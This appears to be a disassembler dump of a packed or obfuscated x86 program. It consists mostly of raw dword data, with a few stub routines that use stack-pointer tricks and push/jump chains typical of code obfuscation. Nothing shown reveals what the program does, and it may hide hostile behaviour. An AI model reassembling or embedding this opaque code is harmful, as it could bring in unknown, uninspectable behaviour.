		dd 51015DAEh, 0F7A40CA9h, 7346C692h, 0C692F78Dh, 9BE4B586h
		dd 6D537558h, 0C81939h,	0FBDBF35Ch, 3B1E8AA3h, 0C6FB5FFh
		dd 0FBC7E721h, 64BA9C8Ch, 0CAFF9B40h, 0C8E83D02h, 929E856Bh
		dd 6E4D9EC6h, 0AD250903h, 9E68D0E5h, 1A6BC692h,	1EB615DBh
		dd 0DF61F212h, 0DA807367h, 59908CB6h, 38116D4Dh, 6800FDh
		dd 2420000h, 11A42EEDh,	0C375E37Fh, 556BA28Dh, 3F0E6C6Ch
		dd 0F33E8FEEh, 81A5E4DAh, 32036AB0h, 0E2A709ECh, 0F675C375h
		dd 4A6F17D0h, 0C375E2E6h, 3251ACFDh, 9ED7C0BDh,	75E2B53Bh
		dd 2C7D4EC3h, 24AEFFCEh, 75E3FF91h, 23ABF4C3h, 77215D0Bh
		dd 0D12C7656h, 0ACA08327h, 0C5B648E0h, 372105F9h, 86E53616h
		dd 0A2C7h, 0EE021300h, 0E6341431h, 241CB687h, 8B0E30Bh
		dd 5F1756F5h, 5C18557Ah, 0FDC112C9h, 94B49AB2h,	11B99D8Fh
		dd 3B9C9A19h, 0E6C51E61h, 815E2598h, 3576C692h,	48153795h
		dd 92819B6Dh, 0E33698C6h, 0C692811Dh, 0ABF4C516h, 1A22CEA5h
		dd 9281C9BFh, 0A8F9CAC6h, 28101926h, 61D981CDh,	78500A8Eh
		dd 1EB0C56h, 0ADF1D5F7h, 5730735Ch, 0CC84A8E5h,	0B498B3FEh
		dd 0E028176Bh, 6FFC80DEh, 0A263896Bh, 193F8D28h, 5CDC2B6h
		dd 0B715C8B0h, 0BBFACBD2h, 0AF57F9CAh, 156ED2E7h, 0D3FBD2B7h
		dd 8D5EAFF3h, 26941BCh,	12A72FEEh, 0C96371AAh, 0B67E50A1h
		dd 986D9D63h, 664596C6h, 0D9FD2F18h, 0DEE02877h, 55793D80h
		dd 7260179Ch, 0C5C7F92Dh, 25590E1h, 3E9B4384h, 979C654Ah
		dd 0D63D7849h, 0F9C1CEF6h, 537B44A5h, 0B6208FDBh, 0D1C76C70h
		dd 77B58D0Fh, 9D63B6F4h, 96979CA7h, 12357445h, 0D67DF332h
		dd 0DA8AD0F6h, 98F95062h, 7851ADB1h, 0DA91E426h, 5392AA97h
		dd 35092D7Ch, 6CBCDA81h, 69361A3Ch, 98C31F3Fh, 3, 526F23CEh
		dd 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h,	4FB886B4h
		dd 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h,	815E5456h
		dd 4C6h, 4EE8300h, 5C243487h, 26F868h, 240C8900h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68572414h, 76BC240Ah
		dd 8BEF815Fh, 81517136h, 846056C7h, 6CF8179h, 81243D5Fh
		dd 11D0C6EFh, 5F5957B9h, 655868h, 24248900h, 4240483h
		dd 4EC815Ah, 89000000h,	0CF89243Ch, 5F087A89h, 5A2434FFh
		dd 4C481h, 0C8B0000h, 0E1895124h, 4C181h, 0C1810000h, 4
		dd 5C240C87h, 0F9E8DEE9h, 12A8F7FFh, 0B71FA713h, 294377E5h
		dd 0B898D8EBh, 5ED9407h, 0E0FFC503h, 0E20F7D4h,	43A9FAAh
		dd 26CDBA4Dh, 54E0B2B2h, 31038788h, 62D909D8h, 4FFECE0Fh
		dd 40EC7274h, 2007CBDEh, 4ED5ABB8h, 1F43A8C9h, 490DB347h
		dd 1CD62688h, 12E8h, 4A32DD00h,	5C433CD0h, 0D767B3D8h
		dd 88ACC4AEh, 0E99C6882h, 10h, 0B14B5A74h, 656A048Fh, 68A3159Bh
		dd 986B6737h, 0C0816659h, 0C181584Ch, 6BDBh, 0DDAC23BEh
		dd 0BA28h, 0AE90000h, 39000000h, 87C41763h, 4BFF71A2h
		dd 111C8BE4h, 0BD20B860h, 8B666996h, 0EB8161D0h, 1947A6BEh
		dd 0D8B0Fh, 8E90000h, 0D0000000h, 80FE38BFh, 810182E3h
		dd 778F3CF3h, 0DE816650h, 0F381BD66h, 1048DCB1h, 6653F78Bh
		dd 0EF53E081h, 0F11048Fh, 58Bh,	0E8C6BF00h, 8E91E57h, 46000000h
		dd 616078D0h, 83D9B637h, 8B6604EAh, 0DCFA81F3h,	0FFFFF94h
		dd 0FFFF9485h, 0FBBF0FFFh, 0D97504EBh, 6BE902F9h, 0FC000008h
		dd 0FD4A86B0h, 0F84789A9h, 0FA418FCFh, 0F65DF3D3h, 775EF2C8h
		dd 183E6840h, 183C6B30h, 2226B30h, 72761CEh, 0CBEEF8C9h
		dd 0C6987765h, 0D85B0F7Eh, 0C375E253h, 0E38991A9h, 989BB65Ch
		dd 0E291D46h, 0FA39E4F3h, 3991B597h, 30740501h,	0CB2A9094h
		dd 83826E05h, 22464CBh,	4BE3AB23h, 13DACE5Bh, 3C99314Bh
		dd 0C375F7B4h, 5A3F7E4Fh, 0C95D1B55h, 0F23D0152h, 0CD5AF6C4h
		dd 3FA7FBDBh, 0B3910h, 0D18BD33Ch, 6B8FDC11h, 216B46A5h
		dd 288DB51Dh, 0C6922540h, 1BE4D4DDh, 0F397EBCAh, 0AAE24E48h
		dd 0CD474484h, 0FF61F1C7h, 60h,	566452CBh, 0D5F33F08h
		dd 0BC82D3F3h, 8527A328h, 0E393BD9Dh, 136F4F5Ch, 0DE87E03Ah
		dd 64914ABCh, 7029209h,	35C267D9h, 98000000h, 6E73C5D0h
		dd 2770C375h, 645292C4h, 61B47C56h, 0C375E29Fh,	16684B94h
		dd 75E2DEA3h, 305609C3h, 3E90A690h, 0E2DDA376h,	85D6C375h
		dd 30F1AAA6h, 39000000h, 41486452h, 86C8217Dh, 75E24D33h
		dd 247546C3h, 69DFFAA2h, 6AC375E2h, 2A419910h, 31027144h
		dd 45298CF2h, 6FC375C9h, 0E9A3Ch, 272163Ah, 0FFA72FEEh
		dd 15547A50h, 76D31232h, 0C95CE899h, 5767539Eh,	0FECC2B0Bh
		dd 0CEA2EE91h, 723AACFDh, 920DD1A7h, 0A281D2C6h, 1626135Ch
		dd 14246D3Ah, 75A69EC6h, 724A7124h, 41840B28h, 8C915F62h
		dd 30C062DAh, 0C5193D68h, 52B092E4h, 0D5292D18h, 248ABF4h
		dd 7069E25Ah, 0A7FBDBCDh, 0C8A17C46h, 8E9770B3h, 4BCCBB8Ch
		dd 0CB90247Ah, 4347DCFh, 0A327FC4h, 92EF4134h, 9E4DC8BBh
		dd 5F7FA8F8h, 802D1F1h,	7D35B92Dh, 0E33B9122h, 0FCC7425Ch
		dd 195FAB84h, 0D195EDC8h, 0C0A80D35h, 0C3C375E2h, 4C5CB3F2h
		dd 83B37C6Ah, 47530DABh, 4F18625Ah, 346375h, 0EAE2F437h
		dd 6AD9828Ah, 0AEB693ABh, 412B8D0Fh, 2B9962h, 22D0000h
		dd 35B92D08h, 8870450Dh, 8BC375E2h, 2A9E7BBAh, 0D0C375E2h
		dd 3C7F5F4Fh, 35487E4Fh, 55655211h, 3E0E4461h, 3Bh, 2D080268h
		dd 0A57D35B9h, 1CBFB880h, 675742ADh, 0FBF3321Bh, 75B36ADEh
		dd 1F20A8C3h, 0F7D62410h, 75B34E32h, 2B7445C3h,	521135BFh
		dd 35615565h, 0E2C0A80Dh, 0F2C3C375h, 351C4AB3h, 7A76E37Dh
		dd 0C322D204h, 449ABCECh, 7A91FDF1h, 0E5E5E4C3h, 0EF614547h
		dd 1A605640h, 7193F24Ah, 0BE9730A8h, 1026107Fh,	9535A6CAh
		dd 0BB0DA850h, 26C37069h, 0AEFFC3FBh, 42B18CDDh, 0E5EA6654h
		dd 67D4036Bh, 2859h, 7A526D00h,	83690654h, 4EDC882h, 11C95CF7h
		dd 9A8DFAC0h, 311B64BAh, 0B8E6D12Dh, 4347F482h,	315930FFh
		dd 0BB95B993h, 547A5297h, 82836906h, 0E7F0EDC8h, 541CC95Ch
		dd 92E7FF41h, 53ABF4C6h, 0D10F93Dh, 0FF4CAFADh,	0CF0C24AEh
		dd 0C8D10C6Fh, 7C2C2003h, 0B92D0802h, 0C6691141h, 0B305E2D8h
		dd 0B0C375E2h, 35520467h, 0DE1D3D6Ah, 0C1F5D9F3h, 8AEA9FB3h
		dd 5A6AD982h, 4Fh, 0AC7D356Ch, 0DCA47197h, 0D7C3751Dh
		dd 8AB5BC86h, 0E5215C9Fh, 0E0359AC8h, 0C375E218h, 754B5DE2h
		dd 0C13C0D4Dh, 35B7230Ch, 3F03236Ah, 74F9C1E7h,	36079EBDh
		dd 522BFFF7h, 44615565h, 38180D12h, 4F3EEDFDh, 74000000h
		dd 0FCC2E22Bh, 35184EADh, 0DE15FF7Dh, 0D615A037h, 0C465FABh
		dd 909CCB34h, 298C19E7h, 0C3757047h, 0C322735Ch
		dd 18E03597h, 0DAC375E2h, 0AFFC430Bh, 4D91A991h, 0FECF137Ch
		dd 0D352BBFh, 0F9C5F522h, 52055590h, 0D27D5565h, 0C199D4FAh
		dd 7A520E44h, 3FB30654h, 0AAC37A64h, 0CA62A723h, 2D43487h
		dd 5E755E9h, 3794ED76h,	60A887E6h, 0E82E9227h, 0D425C371h
		dd 0B0FE458Bh, 5F4BB48Ah, 0E8CDB306h, 0EBC6C371h, 6DBC82A2h
		dd 0DBEF331Ch, 0ECDA7610h, 0F36D62EEh, 0D167D584h, 54h
		dd 437BA689h, 3707307Fh, 52D387E6h, 62404A7Ah, 0EAFCCD1Ch
		dd 0E2219722h, 0D122C375h, 0DD13AC92h, 26EE9638h, 75E22D93h
		dd 30DC26C3h, 4D750FA4h, 0AC0D68B9h, 0C95C2467h, 60CF137Ch
		dd 0C9C36169h, 94BB6BE5h, 614EACAAh, 0ED350626h, 0D187F446h
		dd 0B82E0D58h, 882D7A52h, 0C375E220h, 0C981D223h, 3C023866h
		dd 17B08EEDh, 8D9234D9h, 7F77B686h, 5D08CD5Ah, 0FE1B13C9h
		dd 0BE02979Ch, 0B5C692B2h, 0ECA91264h, 16D9AF0Ah, 89DAC692h
		dd 0BF887DB8h, 1E55ED91h, 63B62FC9h, 194E3287h,	7445C692h
		dd 29EC82Bh, 35B92D08h,	2302206Ah, 7D35EBDFh, 6B0E02AFh
		dd 571961DBh, 4147E4Fh,	0B494FB3Ah, 35173892h, 81FCCD11h
		dd 216A3529h, 7A2E2201h, 0D9828AEAh, 6C5A6Ah, 356C0000h
		dd 0E2C0A80Dh, 4A5DC375h, 6435146Ah, 9266B31Bh,	91C375E2h
		dd 0AC5E6540h, 0D35C5F1h, 0E2887045h, 0BA8BC375h, 0E22A9E7Bh
		dd 4FD0C375h, 483D785Ch, 11354B7Fh, 74D57D35h, 6B5C868h
		dd 0D1C1763Ch, 0DB1A6442h, 0C7F3CBF4h, 4F6A1244h, 0C375E2F9h
		dd 4746A9FAh, 3E520467h, 2Ah, 0B7E34C74h, 0E25E2287h, 455C375h
		dd 802B129h, 0E035B92Dh, 0C375E218h, 0D60402DAh, 5059F43Bh
		dd 11355307h, 61556552h, 7A520E44h, 3FB30654h, 0AAC37A64h
		dd 0BA62A723h, 7163A91Fh, 1A59AAC3h, 99311537h,	68B694B6h
		dd 12E2201h, 80AF2707h,	0C5DA195h, 3AB6D131h, 803B735Bh
		dd 7DE52D30h, 0FDD892D1h, 0C95914D0h, 0B454F4C5h, 0B92D0802h
		dd 7A520D41h, 9FB36E54h, 0D9828AEAh, 5CE3AB6Ah,	3415694Dh
		dd 75E2897Fh, 7AB98AC0h, 4981h,	802C500h, 0EB341833h, 220D35FFh
		dd 91F8C6F4h, 0E203F552h, 41F9C375h, 0F851D7E4h, 3E6544AEh
		dd 8AE9C01Eh, 4EE6E839h, 0D3037244h, 0BE280B71h, 65521135h
		dd 6A356155h, 90C71F3Fh, 435C5DDh, 0FDE9D211h, 2D3Eh, 8026800h
		dd 76431A33h, 0C375E282h, 867B081h, 0FBEF381Eh,	0E218E035h
		dd 0BDAC375h, 350D355Fh, 77C6F277h, 0D086E51Ah,	61556552h
		dd 6A350E44h, 0EC3D0121h, 58A6969Dh, 0CDDF3271h, 5CD95E9h
		dd 75E2C8B0h, 3683CBC3h, 0C375E242h, 0C4277041h, 7A646F63h
		dd 0C7681AC3h, 0D180E3DBh, 2D311BA9h, 1B341423h, 0AFA1B83Ch
		dd 0A81526EAh, 542DEA46h, 0CBE43A0Bh, 4B6E6025h, 0C958F706h
		dd 0ADE7243h, 0B92D0802h, 7A520D41h, 83B36E54h,	0E20AFEDBh
		dd 3809C375h, 309503E6h, 0ECCFBD6Dh, 828AEAFAh,	395A6AD9h
		dd 6C000000h, 0B92D0802h, 80517D35h, 0D08B5EECh, 74FCD995h
		dd 0FC37523h, 1135883Eh, 7D556552h, 0E29860B5h,	4A9BC375h
		dd 0E447F6Bh, 0C0A80D35h, 0C3C375E2h, 2F30B3F2h, 66000000h
		dd 0A52D0802h, 0E250D8FDh, 7B53C375h, 75E2EA5Eh, 4F98E9C3h
		dd 0E0357A6Ch, 0C375E218h, 355F0BDAh, 5C655211h, 0DE087B33h
		dd 2B9FE800h, 7A520E44h, 83690654h, 34EDC882h, 21C95CE4h
		dd 8CB478D0h, 92E04729h, 30735CC6h, 14BE5F8Dh, 0E03E1E0Bh
		dd 9520AA89h, 0CC847A84h, 0DD2A7041h, 0B10792CBh, 2CC8A17Ah
		dd 3F08D9FDh, 0F3D562EEh, 78C78FD3h, 0DF2E0C52h, 0B1943B9Ch
		dd 1873C15Eh, 0D4FAD27Eh, 0D9FD2F74h, 8165DD85h, 83E6AC11h
		dd 0A8F6D4F6h, 0DE357041h, 0EF93EFCFh, 0DECE5A7Ch, 0C1CB50F8h
		dd 0B485A9E3h, 37566h, 23A50000h, 5066526Fh, 0CBEB3D0Ah
		dd 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h,	0EDF1D827h
		dd 4179A691h, 3A18327Dh, 0EC8102E4h, 4,	89241489h, 4C281E2h
		dd 83000000h, 148704EAh, 89515C24h, 4C181E1h, 83000000h
		dd 0C8704E9h, 14895C24h, 356C6824h, 34890000h, 5EBD5524h
		dd 570CE500h, 2F2B2A68h, 0DFF75F74h, 0C781DFF7h, 94D96AC6h
		dd 315FFA89h, 0EC815DEAh, 4, 83242489h,	5E042404h, 8904EC83h
		dd 468F2414h, 24348B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		db 0A2h
		dd 0D0FD14BAh, 871FB789h, 85B82997h, 305ED9Dh, 85E0FFC5h
		dd 0E57E144Ch, 0DD65084Dh, 4A7E1015h, 512CCFFAh, 4311EC86h
		dd 0E3730ACFh, 571926C1h, 6C21A255h, 0EA1011B2h, 0C06BD17h
		dd 0F02165BBh, 1D209D2Dh, 0E8786814h, 5, 96D125A3h, 0DAB70F97h
		dd 0DA81665Eh, 0C6817D03h, 5FD7h, 2800Fh, 0C78B0000h, 0E960C933h
		dd 0Bh,	801FE1Bh, 9AAACB8Eh, 614E4BB9h,	0FC3134FFh, 0B8D0F5Fh
		dd 0F000000h, 58Ch, 0B4D9B800h,	0F7813727h, 0EFC2EEFh
		dd 0C781DD8Ah, 1DAD288Eh, 124A96BAh, 0C7817Dh, 80282623h
		dd 0B757F9CFh, 0E048FFBh, 0AE9h, 0CDC5F900h, 0E2EB4B44h
		dd 0F9B42ED4h, 5202E983h, 8E8h,	391F4900h, 3DE5A535h, 5BD08B4Ch
		dd 81494958h, 0FFA0F4F9h, 1A850FFFh, 66000000h,	2091E381h
		dd 2AE9h, 5BA84600h, 0F2A69861h, 0D5BC4BBh, 0B9A53140h
		dd 0E9E78A8Ch, 0FFFFFF74h, 0F47C3AC0h, 0C5275044h, 8F96992Bh
		dd 34D03213h, 8D44DA86h, 0ED9FFD8Dh, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 60770C7Fh
		dd 0ED51CCB6h, 6459D03h, 8D8905E7h, 5E72315h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C1C35343h, 0C7774AD3h
		dd 0E708B985h, 6BB005h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 564207F2h, 4615F4DBh
		dd 9985C772h, 5E70Ch, 66000000h, 0B5FFDF8Bh, 5E7017Dh
		dd 2CFD9D2Bh, 76B605E7h, 32CD95FFh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 284C51C3h
		dd 0AC6E74DFh, 95858B7Ah, 6A05E723h, 1D95FF00h,	8B05E71Ah
		dd 673BEBC0h, 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah
		dd 2648D83Bh, 773F93FCh, 63F9BB9Dh, 0DDB4EC57h,	0A0668F43h
		dd 8080E576h, 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h
		dd 8D8D8405h, 5EDA0C9h,	16699D89h, 8D8905E7h, 5E72315h
		dd 0E4DB531h, 85C705E7h, 5E708B9h, 6410h, 0BD8BD98Bh, 5E707E9h
		dd 0C9985C7h, 5E7h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 85C07FC3h, 0FFBED3F5h
		dd 0E72D35B5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FFD50A81h, 0E732CD95h
		dd 59B58905h, 6A05E717h, 1D95FF00h, 8B05E71Ah, 2A08EBC0h
		dd 6A9EEFA8h, 8D03F887h, 0EDA16C8Dh, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C543737Bh
		dd 6EDCC7BFh, 158D89A4h, 6605E723h, 81A46DB8h, 0ADC736E0h
		dd 0B985C725h, 3C05E708h, 89000071h, 0E72AA18Dh, 9985C705h
		dd 5E70Ch, 8B000000h, 0E71C7585h, 1DB5FF05h, 6A05E728h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4DF3C356h, 61BD8957h, 5E05E704h, 32CD95FFh
		dd 0BF6605E7h, 6A4EC8h,	1A1D95FFh, 0C08B05E7h, 93E83DEBh
		dd 0EF9D430Bh, 9252C9FDh, 4A992794h, 9D86D175h,	6D3D4CB4h
		dd 40349AC7h, 2558671Eh, 43ED76B8h, 0ED13409Fh,	0D804353Eh
		dd 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0E83A1E1Dh
		dd 8, 0FC221182h, 40A73ECFh, 25C9958Bh,	815805E7h, 63A2C0h
		dd 0F3BF0F00h, 0B9h, 13E900h, 29CC0000h, 8A6472CEh, 0EE08E1C9h
		dd 802C9DAEh, 90AC6CC1h, 134FF47h, 258DBD8Bh, 295B05E7h
		dd 0E70451B5h, 8FEB8105h, 0E95A28ECh, 0Ch, 852790CCh, 0B42BAAC2h
		dd 4A0F0E02h, 3DBBC381h, 0F3811B81h, 3D6C0983h,	169DF681h
		dd 8B531C2Eh, 8048FD1h,	511FBA66h, 12E9h, 0AEA15E00h, 0DDAE2E2Eh
		dd 474BC085h, 162D95EAh, 8135A6F5h, 1DECD0E9h, 2BA6610h
		dd 0CCC181ACh, 81101DECh, 6CAFCFCAh, 10F98128h,	0FFFFF9Dh
		dd 0FFFF8485h, 0FF43BFFFh, 8D8D0BC4h, 5EDA31Ch,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E9C35242h, 885BE1FAh
		dd 23158D89h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0FAA286C3h, 0FCA3C9ECh, 85C7AE7Eh
		dd 5E708B9h, 675Ch, 2D95BD8Bh, 85C705E7h, 5E70C99h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8C35040h
		dd 0B5FF6621h, 5E72CC5h, 2B599D8Bh, 95FF05E7h, 5E732CDh
		dd 13A1858Bh, 7E905E7h,	35000000h, 0DDEE4940h, 6AE745h
		dd 1A1D95FFh, 0C08B05E7h, 0EBD66CEBh, 274FF94Fh, 207CA66Ah
		dd 0AEC3479Ah, 745B2D98h, 8FB14B5Ah, 9B656A04h,	3768A315h
		dd 80986B67h, 7C39E4FDh, 22BA08FDh, 0B33EC3D7h,	0EA2A080Dh
		dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h, 4F231846h, 0BC7F6321h
		dd 0A67417D3h, 0F2806756h, 66AF2F85h, 7235040h,	7FDF596Dh
		dd 4A5DFCD8h, 77FF8DD1h, 4E14DDh, 30496A40h, 85C63BE7h
		dd 5E707F9h, 30DF6856h,	0B5FFA9C5h, 5E72DC5h, 7963858Dh
		dd 0D0FF05EAh, 0E318D8Dh, 6A5105E7h, 49B5FF40h,	0FF05E72Ah
		dd 0E716C9B5h, 0FFD0FF05h, 0E72A49B5h, 0C9B5FF05h, 0E805E716h
		dd 0Fh,	28507F27h, 0CE2B3463h, 59D06D1Ch, 5BFEA5E4h, 4EB835Bh
		dd 2242CC1h, 22424C1h, 0F7241C03h, 0FF33241Ch, 591F34FFh
		dd 7888E981h, 0E9812A00h, 24183CEDh, 0F515F181h, 0C89243Dh
		dd 4EF833Bh, 0F243C3Bh,	1985h, 1EE900h,	0C0BD0000h, 55625BD3h
		dd 59A3D4CDh, 0A301BB45h, 0CE85EB34h, 0BDE9FF56h, 3FFFFFFh
		dd 0BBD3208Bh, 0B819D8Dh, 38B05E7h, 840FC00Bh, 7, 5B8B038Bh
		dd 8B188904h, 15FE9C9h,	8B520000h, 0E860D4h, 5D000000h
		dd 0A462ED81h, 428B05EDh, 38453D08h, 850F7826h,	138h, 8B0C428Bh
		dd 0C8D3184Ah, 3630EDBBh, 83C33330h, 858904E8h,	5E72315h
		dd 8B04588Bh, 10428BF8h, 0D3184A8Bh, 0E8A1BEC8h, 0C633A1A3h
		dd 0E083C72Bh, 4E883FCh, 8B98589h, 428B05E7h, 99858914h
		dd 8B05E70Ch, 0E9531842h, 0B0h,	262DB5FFh, 0B9E905E7h
		dd 0FF000000h, 0E71575B5h, 0AEE905h, 0B5FF0000h, 5E71605h
		dd 0A3E9h, 0C5B5FF00h, 0E905E708h, 98h,	281DB5FFh, 8DE905E7h
		dd 0FF000000h, 0E72B19B5h, 82E905h, 0B5FF0000h,	5E7129Dh
		dd 77E9h, 0DDB5FF00h, 0E905E731h, 6Ch, 19E5B5FFh, 61E905E7h
		dd 0FF000000h, 0E72CC5B5h, 56E905h, 0B5FF0000h,	5E72D35h
		dd 4BE9h, 55B5FF00h, 0E905E72Eh, 40h, 15E1B5FFh, 35E905E7h
		dd 0FF000000h, 0E72AB1B5h, 2AE905h, 0B5FF0000h,	5E72E65h
		dd 1FE9h, 7DB5FF00h, 0E905E701h, 14h, 0BB8D88Bh, 66000000h
		dd 8D8DE3F7h, 5EDA4C3h,	0E1FFC803h, 32CD95FFh, 8B5B05E7h
		dd 0E7231585h, 4583905h, 0F850Fh, 6A530000h, 1D95FF01h
		dd 5B05E71Ah, 0FFFFE2E9h, 0C35A61FFh, 6AB85A61h, 0FF77D4C9h
		dd 29858BE0h, 8D05E706h, 0EDA5B18Dh, 1418905h, 7E8C38Bh
		dd 21000000h, 5208DF8h,	810FFF24h, 6, 17CEC681h, 0F5B7806h
		dd 686h, 890F00h, 81000000h, 7022C3h, 0EE816600h, 0E768A206h
		dd 6600001Bh, 59ABA3BFh, 7935F681h, 38B69FEh, 0FE8B6656h
		dd 0C6F0815Fh, 8A35197Bh, 0AAF081D4h, 664DB561h, 816473BEh
		dd 62C037E8h, 13E85004h, 0F5000000h, 6D45236Eh,	0BDA9CA9Fh
		dd 202785BAh, 95F1B61Fh, 0D38B9AC2h, 83038F5Eh,	4B4B02EBh
		dd 1D3533BFh, 850F493Eh, 0FFFFFFB2h, 298D8DF8h,	6A05EDA7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 5ADCC353h, 0C5B50360h, 8B05E700h,	0E72EB985h
		dd 8D896105h, 5E72315h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 28C35646h, 8B985C7h, 6DD405E7h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 58D95AC3h, 0EE8h, 26999B00h,	5BC075B3h, 0A8F78D59h
		dd 0FA71312h, 295EC0BFh, 0E7080595h, 9985C705h,	5E70Ch
		dd 0FF000000h, 0E72CC5B5h, 11E905h, 35CD0000h, 625C6D1h
		dd 8559637Bh, 1AA72804h, 0FF0D0B65h, 0E732CD95h, 0D5BD8B05h
		dd 6A05E731h, 1D95FF00h, 8B05E71Ah, 0C46CEBC0h,	12F3E692h
		dd 8009853Ch, 0E24F8EC4h, 0BA5EC4D0h, 0FA2D31D8h, 26968E6Dh
		dd 7CAD41E2h, 662F0691h, 359522C0h, 4D8916A9h, 0DF75C08Fh
		dd 28DB2A7Bh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h, 0A6A2FAE0h
		dd 7B07D1A4h, 332C16B2h, 845CAFC5h, 0D124E793h,	94272987h
		dd 0EE6416BAh, 5C042912h, 0DB92C34Bh, 0B10DB2F0h, 0B0D30739h
		dd 0E929DFB3h, 0ABh, 3F2E8D50h,	5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 6D83323Dh, 0E960A0C7h
		dd 133Ah, 0EDAA3168h, 0D51DE905h, 2968FFF9h, 0E905EDABh
		dd 0FFF9D513h, 0EDABFC68h, 0D509E905h, 0F68FFF9h, 0E905EDADh
		dd 0FFF9D4FFh, 0EDADA968h, 0D4F5E905h, 5368FFF9h, 0E905EDAEh
		dd 0FFF9D4EBh, 0EDAEF168h, 0D4E1E905h, 0A168FFF9h, 0E905EDAFh
		dd 0FFF9D4D7h, 0EDB03C68h, 0D4CDE905h, 8068FFF9h, 0E905EDB1h
		dd 0FFF9D4C3h, 0EDB27C68h, 0D4B9E905h, 1F68FFF9h, 0E905EDB4h
		dd 0FFF9D4AFh, 0EDB56D68h, 0D4A5E905h, 0AC68FFF9h, 0E905EDB7h
		dd 0FFF9D49Bh, 0EDB8D168h, 0D491E905h, 89B7FFF9h, 96B4834Dh
		dd 86B398B0h, 9A8D9AB6h, 818996BAh, 770E97B9h, 9C7F723h
		dd 9C7F722h, 7C9E922h, 2CE1038h, 2E9227AFh, 25C6984Ah
		dd 0C1D49CF6h, 0C6984A7Fh, 9EC82B74h, 6547A52h,	80C6EF39h
		dd 79BC372Eh, 0EF54DCF9h, 1E6FC375h, 976CFCCDh,	8712B459h
		dd 0C95CFDBAh, 0AD106EBFh, 0C692F9D7h, 0E4ECEAA1h, 61F26F6Ch
		dd 4458h, 0EE026A00h, 47FFA72Fh, 0BEBC3F09h, 0EF2B99D5h
		dd 3588BB83h, 8718C13Ch, 0BCC95CA0h, 0CAAA0F53h, 5FC69298h
		dd 4F176B53h, 9298866Ah, 7D4C9DC6h, 78340A2Ah, 272B9733h
		dd 0E67E6264h, 0E661F214h, 0D3h, 547A52E0h, 0C9F13906h
		dd 74FCD981h, 0FC375E2h, 0B483FF3Eh, 36CB294h, 0CE0E3B09h
		dd 0B78BABE3h, 1BCB0556h, 0EECC0A34h, 7EFB5C9Fh, 0E5C375E6h
		dd 0E64D83A3h, 0AA909EA6h, 0F1497159h, 5B8276Dh, 7EC2A7E3h
		dd 75C37595h, 0DEF9C924h, 19396D12h, 6DB986C8h,	706714Dh
		dd 0A1F2DB27h, 8CAD0842h, 29C95C81h, 57BEF6D8h,	0FCF57CDFh
		dd 9DE1D9C1h, 0CC00634Ch, 0CEEE3F00h, 275A99F0h, 3782C4C9h
		dd 0CCB89471h, 86A92172h, 81AEA298h, 3FCA199h, 0F37021CCh
		dd 10AA0457h, 35630000h, 2A60CF01h, 327FC404h, 2E79C60Ah
		dd 4D75C20Eh, 0C3F2C30Dh, 0B59BA3EFh, 0B59BA3EEh, 0B39DBDEEh
		dd 4E82A4E4h, 0FA4E6B7Bh, 0F9C69848h, 6452DC8Ah, 7BADFA56h
		dd 35D5F55Bh, 0C11D3D6Ah, 0B07B85E1h, 86D74F85h, 31D418A7h
		dd 82A33C99h, 0F58C95Ch, 7AF64E33h, 0CB80C692h,	12351ACFh
		dd 8883EC32h, 267756A4h, 0F6C050C7h, 0CC8C61F1h, 0C6000000h
		dd 6547A52h, 65B0F139h,	0C375E293h, 28764790h, 75E6E855h
		dd 0C5973C3h, 75E6C7A9h, 0A2F3DCC3h, 0A78781AEh, 0EDB03C5Bh
		dd 0F23FD0E5h, 6BB4C95Ch
